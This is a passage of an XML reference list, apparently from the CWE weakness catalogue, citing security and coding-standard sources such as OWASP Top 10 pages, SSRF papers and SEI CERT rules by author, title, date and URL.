			<Title>SSRF vs. Business-critical Applications. Part 1: XXE Tunnelling in SAP NetWeaver</Title>
			<URL>http://erpscan.com/wp-content/uploads/2012/08/SSRF-vs-Businness-critical-applications-whitepaper.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-915">
			<Author>Riyaz Ahemed Walikar</Author>
			<Title>Cross Site Port Attacks - XSPA - Part 1</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---07</Publication_Day>
			<URL>https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-1/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-916">
			<Author>Riyaz Ahemed Walikar</Author>
			<Title>Cross Site Port Attacks - XSPA - Part 2</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-2/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-917">
			<Author>Riyaz Ahemed Walikar</Author>
			<Title>Cross Site Port Attacks - XSPA - Part 3</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---14</Publication_Day>
			<URL>https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-3/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-918">
			<Author>Vladimir Vorontsov</Author>
			<Author>Alexander Golovko</Author>
			<Title>SSRF attacks and sockets: smorgasbord of vulnerabilities</Title>
			<URL>https://www.slideshare.net/DefconRussia/vorontsov-golovko-ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-919">
			<Author>ONsec Lab</Author>
			<Title>SSRF bible. Cheatsheet</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<URL>https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1#</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-920">
			<Author>Deral Heiland</Author>
			<Title>Web Portals: Gateway To Information, Or A Hole In Our Perimeter Defenses</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<URL>http://www.shmoocon.org/2008/presentations/Web%20portals,%20gateway%20to%20information.ppt</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-921">
			<Author>Android Open Source Project</Author>
			<Title>Security Tips</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>https://developer.android.com/training/articles/security-tips.html#StoringData</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-922">
			<Author>Erika Chin</Author>
			<Author>Adrienne Porter Felt</Author>
			<Author>Kate Greenwood</Author>
			<Author>David Wagner</Author>
			<Title>Analyzing Inter-Application Communication in Android</Title>
			<URL>http://www.eecs.berkeley.edu/~daw/papers/intents-mobisys11.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-923">
			<Author>Android Open Source Project</Author>
			<Title>Security Tips</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>https://developer.android.com/training/articles/security-tips#ContentProviders</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-926">
			<Title>Top 10 2013</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---12</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://www.owasp.org/index.php/Top_10_2013</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-927">
			<Author>OWASP</Author>
			<Title>Top 10 2013-A1-Injection</Title>
			<URL>https://www.owasp.org/index.php/Top_10_2013-A1-Injection</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-928">
			<Author>Ulf Harnhammar</Author>
			<Title>CRLF Injection</Title>
			<Publication>Bugtraq</Publication>
			<Publication_Year>2002</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---07</Publication_Day>
			<URL>http://marc.info/?l=bugtraq&amp;m=102088154213630&amp;w=2</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-929">
			<Author>OWASP</Author>
			<Title>Top 10 2013-A2-Broken Authentication and Session Management</Title>
			<URL>https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-930">
			<Author>OWASP</Author>
			<Title>Top 10 2013-A3-Cross-Site Scripting (XSS)</Title>
			<URL>https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_%28XSS%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-931">
			<Author>OWASP</Author>
			<Title>Top 10 2013-A4-Insecure Direct Object References</Title>
			<URL>https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-932">
			<Author>OWASP</Author>
			<Title>Top 10 2013-A5-Security Misconfiguration</Title>
			<URL>https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-933">
			<Author>OWASP</Author>
			<Title>Top 10 2013-A6-Sensitive Data Exposure</Title>
			<URL>https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-934">
			<Author>OWASP</Author>
			<Title>Top 10 2013-A7-Missing Function Level Access Control</Title>
			<URL>https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-935">
			<Author>OWASP</Author>
			<Title>Top 10 2013-A8-Cross-Site Request Forgery (CSRF)</Title>
			<URL>https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_%28CSRF%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-936">
			<Author>OWASP</Author>
			<Title>Top 10 2013-A9-Using Components with Known Vulnerabilities</Title>
			<URL>https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-937">
			<Author>OWASP</Author>
			<Title>Top 10 2013-A10-Unvalidated Redirects and Forwards</Title>
			<URL>https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-938">
			<Author>Guillaume Ross</Author>
			<Title>Scheming for Privacy and Security</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://brooksreview.net/2013/11/guest-post_scheming-for-privacy-and-security/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-941">
			<Author>US-CERT</Author>
			<Title>UDP-based Amplification Attacks</Title>
			<Publication_Year>2014</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---17</Publication_Day>
			<URL>https://www.us-cert.gov/ncas/alerts/TA14-017A</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-942">
			<Author>Fortify</Author>
			<Title>Android Bad Practices: Sticky Broadcast</Title>
			<URL>https://www.hpe.com/us/en/solutions/infrastructure-security.html?jumpid=va_wnmstr1ug6_aid-510326901</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-943">
			<Author>Apurva Udaykumar</Author>
			<Title>Setting a crossdomain.xml file for HTTP streaming</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<Publisher>Adobe</Publisher>
			<URL>https://web.archive.org/web/20121124184922/http://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-944">
			<Author>Adobe</Author>
			<Title>Cross-domain policy for Flash movies</Title>
			<Publisher>Adobe</Publisher>
			<URL>http://kb2.adobe.com/cps/142/tn_14213.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-945">
			<Author>Microsoft Corporation</Author>
			<Title>HTTP Communication and Security with Silverlight</Title>
			<URL>https://learn.microsoft.com/en-us/previous-versions/windows/silverlight/dotnet-windows-silverlight/cc838250(v=vs.95)?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-946">
			<Author>Microsoft Corporation</Author>
			<Title>Network Security Access Restrictions in Silverlight</Title>
			<URL>https://learn.microsoft.com/en-us/previous-versions/windows/silverlight/dotnet-windows-silverlight/cc645032(v=vs.95)</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-947">
			<Author>Dongseok Jang</Author>
			<Author>Aishwarya Venkataraman</Author>
			<Author>G. Michael Sawka</Author>
			<Author>Hovav Shacham</Author>
			<Title>Analyzing the Crossdomain Policies of Flash Applications</Title>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<URL>http://cseweb.ucsd.edu/~hovav/dist/crossdomain.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-951">
			<Author>Shaun Clowes</Author>
			<Title>A Study in Scarlet</Title>
			<URL>https://www.cgisecurity.com/lib/studyinscarlet.txt</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-952">
			<Author>Stefan Esser</Author>
			<Title>Suhosin</Title>
			<URL>http://www.hardened-php.net/suhosin/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-953">
			<Author>Johannes Ullrich</Author>
			<Title>Top 25 Series - Rank 13 - PHP File Inclusion</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-13-php-file-inclusion/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-954">
			<Author>Mozilla MDN</Author>
			<Title>Equality comparisons and sameness</Title>
			<URL>https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness</URL>
			<URL_Date>2017-11-17</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-955">
			<Author>Chris McMahon Stone</Author>
			<Author>Tom Chothia</Author>
			<Author>Flavio D. Garcia</Author>
			<Title>Spinner: Semi-Automatic Detection of Pinning without Hostname Verification</Title>
			<URL>http://www.cs.bham.ac.uk/~garciaf/publications/spinner.pdf</URL>
			<URL_Date>2018-01-16</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-956">
			<Author>Wikipedia</Author>
			<Title>Samy (computer worm)</Title>
			<URL>https://en.wikipedia.org/wiki/Samy_(computer_worm)</URL>
			<URL_Date>2018-01-16</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-957">
			<Title>Top 10 2017</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---12</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-958">
			<Author>Mathias Bynens</Author>
			<Title>About rel=noopener</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>https://mathiasbynens.github.io/rel-noopener/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-959">
			<Author>Object Management Group (OMG)</Author>
			<Title>Automated Source Code Performance Efficiency Measure (ASCPEM)</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<URL>https://www.omg.org/spec/ASCPEM/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-960">
			<Author>Object Management Group (OMG)</Author>
			<Title>Automated Source Code Maintainability Measure (ASCMM)</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<URL>https://www.omg.org/spec/ASCMM/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-961">
			<Author>Object Management Group (OMG)</Author>
			<Title>Automated Source Code Reliability Measure (ASCRM)</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<URL>http://www.omg.org/spec/ASCRM/1.0/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-962">
			<Author>Object Management Group (OMG)</Author>
			<Title>Automated Source Code Security Measure (ASCSM)</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<URL>http://www.omg.org/spec/ASCSM/1.0/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-963">
			<Author>Robert A. Martin</Author>
			<Author>Lawrence H. Shafer</Author>
			<Title>Providing a Framework for Effective Software Quality Assessment</Title>
			<Publication_Year>1996</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<URL>https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_MAKING_A_SCIENCE_OF_RISK_ASSESSMENT</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-964">
			<Author>Wikipedia</Author>
			<Title>Cyclomatic Complexity</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>https://en.wikipedia.org/wiki/Cyclomatic_complexity</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-965">
			<Author>Wikipedia</Author>
			<Title>Halstead complexity measures</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<URL>https://en.wikipedia.org/wiki/Halstead_complexity_measures</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-966">
			<Author>Pratyusa Manadhata</Author>
			<Title>An Attack Surface Metric</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<URL>http://reports-archive.adm.cs.cmu.edu/anon/2008/CMU-CS-08-152.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-967">
			<Author>Pratyusa Manadhata</Author>
			<Author>Jeannette M. Wing</Author>
			<Title>Measuring a System's Attack Surface</Title>
			<Publication_Year>2004</Publication_Year>
			<URL>http://www.cs.cmu.edu/afs/cs/usr/wing/www/publications/ManadhataWing04.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-968">
			<Author>Consortium for Information &amp; Software Quality (CISQ)</Author>
			<Title>Automated Quality Characteristic Measures</Title>
			<Publication_Year>2016</Publication_Year>
			<URL>http://it-cisq.org/standards/automated-quality-characteristic-measures/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-969">
			<Author>Wikipedia</Author>
			<Title>Encapsulation (computer programming)</Title>
			<URL>https://en.wikipedia.org/wiki/Encapsulation_(computer_programming)</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-970">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/display/java/SEI+CERT+Oracle+Coding+Standard+for+Java</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-971">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 04. Characters and Strings (STR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487607</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-972">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 17. Java Native Interface (JNI)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487346</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-973">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 50. Android (DRD)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487375</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-974">
			<Author>Wikipedia</Author>
			<Title>Connection pool</Title>
			<URL>https://en.wikipedia.org/wiki/Connection_pool</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-975">
			<Author>Bruce Dawson</Author>
			<Title>Comparing Floating Point Numbers, 2012 Edition</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>https://randomascii.wordpress.com/2012/02/25/comparing-floating-point-numbers-2012-edition/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-976">
			<Author>Standard C++ Foundation</Author>
			<Title>Memory Management</Title>
			<URL>https://isocpp.org/wiki/faq/freestore-mgmt#delete-this</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-977">
			<Author>QuantStart</Author>
			<Title>C++ Virtual Destructors: How to Avoid Memory Leaks</Title>
			<URL>https://www.quantstart.com/articles/C-Virtual-Destructors-How-to-Avoid-Memory-Leaks/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-978">
			<Author>GeeksforGeeks</Author>
			<Title>Virtual Destructor</Title>
			<URL>https://www.geeksforgeeks.org/virtual-destructor/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-979">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 01. Preprocessor (PRE)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151965</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-980">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 02. Declarations and Initialization (DCL)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151966</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-981">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 03. Expressions (EXP)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151976</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-982">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec. 04. Integers (INT)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151979</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-983">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 05. Floating Point (FLP)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151969</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-984">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 06. Arrays (ARR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151972</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-985">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 07. Characters and Strings (STR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151974</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-986">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec. 08. Memory Management (MEM)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151930</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-987">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 09. Input Output (FIO)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151932</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-988">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec. 10. Environment (ENV)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151968</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-989">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 11. Signals (SIG)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151975</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-990">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 12. Error Handling (ERR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151977</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-991">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 13. Application Programming Interfaces (API)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151980</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-992">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 14. Concurrency (CON)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151970</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-993">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 48. Miscellaneous (MSC)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151973</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-994">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 50. POSIX (POS)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151931</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-995">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rec 51. Microsoft Windows (WIN)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151933</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-996">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 00. Input Validation and Data Sanitization (IDS)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487337</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-997">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 01. Declarations and Initialization (DCL)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487329</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-998">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 02. Expressions (EXP)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487331</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-999">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 03. Numeric Types and Operations (NUM)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487335</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1000">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 04. Characters and Strings (STR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487333</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1001">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 05. Object Orientation (OBJ)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487353</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1002">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 06. Methods (MET)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487336</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1003">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 07. Exceptional Behavior (ERR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487338</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1004">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 13. Input Output (FIO)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487330</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1005">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 15. Platform Security (SEC)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487332</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1006">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 49. Miscellaneous (MSC)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487351</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1007">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rec 18. Concurrency (CON)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487352</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1008">
			<Author>Wikipedia</Author>
			<Title>Computational complexity theory)</Title>
			<URL>https://en.wikipedia.org/wiki/Computational_complexity_theory</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1009">
			<Author>Tim Rains</Author>
			<Title>Microsoft's Free Security Tools - banned.h</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---30</Publication_Day>
			<URL>https://www.microsoft.com/en-us/security/blog/2012/08/30/microsofts-free-security-tools-banned-h/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1010">
			<Author>Michael Howard</Author>
			<Title>Microsoft's Free Security Tools - banned.h</Title>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<URL>https://www.microsoft.com/en-us/security/blog/2012/08/30/microsofts-free-security-tools-banned-h/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1011">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/display/perl/SEI+CERT+Perl+Coding+Standard</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1012">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rule 01. Input Validation and Data Sanitization (IDS)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890533</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1013">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rule 02. Declarations and Initialization (DCL)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890509</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1014">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rule 03. Expressions (EXP)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890504</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1015">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rule 04. Integers (INT)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890508</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1016">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rule 05. Strings (STR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890507</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1017">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rule 06. Object-Oriented Programming (OOP)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890501</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1018">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rule 07. File Input and Output (FIO) </Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890499</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1019">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rule 50. Miscellaneous (MSC)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890497</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1020">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rec. 01. Input Validation and Data Sanitization (IDS)</Title>
